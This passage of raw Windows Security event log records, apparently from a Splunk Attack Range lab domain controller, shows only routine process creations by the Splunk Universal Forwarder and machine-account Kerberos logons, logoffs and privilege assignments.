	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:01:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256990
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xeb8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:01:26 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256993
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x492A96
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{1315B027-D61C-A152-E46C-74A6DCC39304}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		59264

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:01:26 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256992
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x492A96

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 02:01:37 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256994
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x492A96

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:01:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256997
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x493710

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:01:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256996
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x493710
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		59272

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:01:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256995
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x493710

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 02:02:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257003
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x493A4E

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:02:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257002
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x493A4E
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		59276

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:02:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257001
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x493A4E

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 02:02:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257000
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4939E2

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:02:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256999
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x4939E2
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		59275

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:02:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256998
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4939E2

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 02:02:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257005
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x968
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:02:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257004
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xcf4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:02:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257006
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x510
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:02:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257007
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1170
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:02:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257019
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1074
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:02:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257018
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x495060

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:02:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257017
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x49516E

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:02:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257016
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4951B7

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:02:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257015
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x495238
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{250C95BA-D7BE-68DE-E803-AA7B4845FE00}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		59280

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:02:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257014
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x495238

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 02:02:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257013
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x4951B7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		59279

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:02:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257012
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4951B7

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 02:02:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257011
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
